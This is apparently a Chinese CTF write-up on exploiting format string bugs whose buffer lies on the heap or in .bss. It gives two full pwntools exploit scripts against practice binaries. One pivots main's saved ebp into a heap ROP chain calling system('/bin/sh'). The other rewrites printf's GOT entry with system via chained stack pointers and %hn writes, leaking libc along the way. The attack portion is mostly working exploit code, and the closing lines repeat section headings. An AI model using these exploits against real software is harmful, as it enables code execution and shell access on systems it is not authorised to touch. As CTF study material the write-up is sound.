非栈上的格式化字符串漏洞

bxz

2023-02-12

Fmtstr

格式化字符串漏洞点不在栈上怎么打

一般在栈上的格式会字符串漏洞，我们可以先泄露导致格式化字符串漏洞的函数的got表，然后利用%$hhn进行一个一个byte的写入，payload自己可以写函数去生成，或者利用pwntools库的fmtstr_payload(,{:})去自动生成，自己构造payload要注意payload是否有被‘\x00’截断，导致利用不成功，这种方法需要我们可控值是存储在栈上的参数，不在栈上时应该怎么办？介绍两种方法

第一种方法将栈顶esp(rsp)提升到可控参数进行rop

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开始ida反汇编静态分析

主函数就是一下简单switch，PrintInfo发现有我们可控参数，format是我们输入的Description，但是很遗憾在堆上(可以看到是利用malloc在堆上申请)，源程序应该是个c的结构体

这是我们的思路可能在想可不可以改写printf的got为system地址，让后控制format为‘/bin/sh’从而获取shell，很遗憾不可以，参数没在栈上，可不可以利用改写返回地址为system_addr + ‘fake’ + addr of ‘/bin/sh‘ ，思想可行，由于改写过程需要大量输出，行为不可行，但是思想终归是正确的，我们是否可以把system_addr + ‘fake’ + addr of ‘/bin/sh‘输入到description，再利用格式化字符串漏洞，把main函数返回时保存的ebp给为堆上description地址，是可行的

gdb动态调试写exp

没有开pie保护，直接b *0x8048C22把断点下到漏洞处分析

观察栈里的参数1处为PrintInfo函数保存的ebp地址，2处为description堆上地址，3处为__libc_start_call_main调用函数时保存的返回地址，利用fmtarg得到各格式化参数偏移，接下来我们的思路就很明确了

利用%31$paaaa 泄露__libc_start_call_main，让后利用Libcsearch泄露版本号（ASLR保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变，原因是以页的大小为基础随机，linux一般4k），从而dump下libc里的system地址和/bin/sh地址，这里由于不知名原因导致__libc_start_call_main不行，脚本里换成了根据偏移libc_start_main地址，本地练习无所谓
b’%6$p%11$pbbb’+p32(system)+b’fake’+p32(bin_sh)泄露description地址和ebp，同时写入rop需要成分
b’%’+str(heap_addr-4).encode()+b’c’+b’%6$n’向main函数ebp写入description堆地址
- 程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址，利用%n修改的又是地址里的内容，所以我们修改的是上上级函数ebp，也就是main
- 为什么heap_addr需要-4，我们观察反汇编发现main函数利用leave 和 ret 来恢复堆栈和执行，leave也就等效于mov esp,ebp ；pop ebp恢复，在leave esp，ebp时堆栈已经提升到堆，pop ebp 会ebp+4，所以我们需要进行-4留出给fake ebp
然后我们退出main函数就可以拿到shell

完整exp如下

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./contacts'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def createcontact(name, phone, descrip_len, description):
    io.recvuntil(b'>>> ')
    io.sendline(b'1')
    io.recvuntil(b'Contact info: \n')
    io.recvuntil(b'Name: ')
    io.sendline(name)
    io.recvuntil(b'You have 10 numbers\n')
    io.sendline(phone)
    io.recvuntil(b'Length of description: ')
    io.sendline(descrip_len)
    io.recvuntil(b'description:\n\t\t')
    io.sendline(description)


def printcontact():
    io.recvuntil(b'>>> ')
    io.sendline(b'4')
    io.recvuntil(b'Contacts:')
    io.recvuntil(b'Description: ')
# db('b *0x8048C1F')
payload = '%31$paaaa'
createcontact(b'1111', b'1111', b'111', payload)
printcontact()
__libc_start_call_main=int(ru(b'aaaa'),16)
success('get libc_start_main_ret addr: ' + hex(__libc_start_call_main))
__libc_start_main=__libc_start_call_main+0x3B
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
p('__libc_start_main',__libc_start_main)
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
p('system',system)
p('bin_sh',bin_sh)
payload=b'%6$p%11$pbbb'+p32(system)+b'fake'+p32(bin_sh)
createcontact(b'222',b'222',b'222',payload)
printcontact()
ru(b'aaa')
data=ru(b'bbb')
print(data)
data=data.split(b'0x')
ebp_addr = int(data[1], 16)
heap_addr = int(data[2], 16)+12
p('ebp',ebp_addr)
p('heap',heap_addr)

payload=b'%'+str(heap_addr-4).encode()+b'c'+b'%6$n'
createcontact(b'3333', b'123456789', b'300', payload)
printcontact()
io.recvuntil('Description: ')
io.recvuntil('Description: ')

io.recvuntil('>>> ')

io.sendline(b'5')
io.interactive()

第二种方法顺藤摸瓜修改栈上合适地址，改写got

题目链接：https://pan.baidu.com/s/1lLW4_0WPbxhORpcDk5GLZw
提取码：qydx

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ida反汇编静态分析

很明显的漏洞，发现buf在.bss段，同样不在栈区(.bss:未初始化的全局和静态C变量，以及所有被初始化为0的全局或静态变量。(目标文件该节在磁盘不占空间，在运行时，内存分配，初始化0))

同样无法直接利用fmtstr_payload利用，这次我们观察程序发现这次程序在我们再次到底可控参数的printf没有使用printf，可以修改printf got为system地址，从而利用可控参数，拿到shell，由于可控参数在.bss段，我们就需要利用可控参数在原有栈的数据上做文章

gdb动态调试

输入%p后断点断到printf栈区如下

利用1处栈地址，也就是将0xffffcfa8地址处内容0xffffcfb8修改为0xffffcfac，由于开启pie保护，0xffffcfac处所存内容是elf文件所存地址+pie基址生成的，got表也在elf文件的数据区，也是有地址+pie基地址生成，所以我们只需要利用%$hn修改其低四位即可(小端序)，buf地址可以利用%$p泄露，这样我们就可以输入buf为printf_got+payload，修改其got为system地址

exp构造

%p%6$p泄露buf和ebp基地址
ebp基地址+偏移得到可修改的有价值地址
b’%’+str((ebp基地址+偏移)&0xffff).encode()+b’c’+b’%6$hn’修改ebp指向地址
由于开启pie，需要先利用main返回地址泄露pie基地址，从而得到printf_got真实地址 %11$p
b’%’+str(printf_got&0xffff).encode()+b’c’+b’%10$hn’改写有价值的地址为printf_got
%11$s\x00 利用布置好的printf_got泄露printf函数在libc里的真实地址从而dump到system地址
改写printf_got为内容为system地址
由于两地址有3个字节的差异，一次%$hn只能改写2字节内容，而改写四字节内容需要的输出代价太大，我们需要在栈上找到另一个有价值的地址重复上面1.2.3.5步骤进行改写，改写其为printf_got地址的后两字节地址
接下来就可以构造常规payload改写got达到目的

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./fmt_str_level_2_x86'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

# db('b *$rebase(0x130A)')
printf_got=elf.got['printf']
payload=b'%p%6$p'
sla(b'hello\n',payload)
addr=ru(b'\n')
addr=addr.split(b'0x')
base1=int(addr[2],16)
buf=int(addr[1],16)
p('base1',base1)
p('buf',buf)
base2=base1+4

payload=b'%'+str(base2&0xffff).encode()+b'c'+b'%6$hn'
sl(payload)
ru(b'\n')

payload=b'%11$p\x00'
sl(payload)
pie=int(r(10),16)-elf.symbols['main']-30
p('pie',pie)
printf_got+=pie

payload=b'%'+str(printf_got&0xffff).encode()+b'c'+b'%10$hn'
sl(payload)
ru(b'\n')

# leak printf addr
sl(b'%11$s\x00')
printf_addr=u32(r(4))

libc=LibcSearcher('printf',printf_addr)
base=printf_addr-libc.dump("printf")
system_addr=base+libc.dump('system')
p('base',base)
p('system',system_addr)


#change base1-4 ---7
payload=b'%'+str((base1-0xc)&0xffff).encode()+b'c'+b'%6$hn'
sl(payload)
ru('\n')
payload=b'%'+str((printf_got&0xffff)+2).encode()+b'c'+b'%10$hn'
sl(payload)
ru(b'\n')
sysl=system_addr&0xffff
sysh=(system_addr>>16)&0xffff
payload=b'%'+str(sysl).encode()+b'c'+b'%11$hn'+b'%'+str(sysh-sysl).encode()+b'c'+b'%7$hn'
sl(payload)
r(sysl+sysh)
# sleep(1)
sl('/bin/sh\x00')

io.interactive()

总结：一定还有其他姿势拿到shell，只是我们懂得太少不知道罢了Zzz

格式化字符串漏洞点不在栈上怎么打

第一种方法 将栈顶esp(rsp)提升到可控参数 进行rop

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完整exp如下

第二种方法 顺藤摸瓜修改栈上合适地址，改写got

拿到题目运行

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完整exp

第一种方法将栈顶esp(rsp)提升到可控参数进行rop

第二种方法顺藤摸瓜修改栈上合适地址，改写got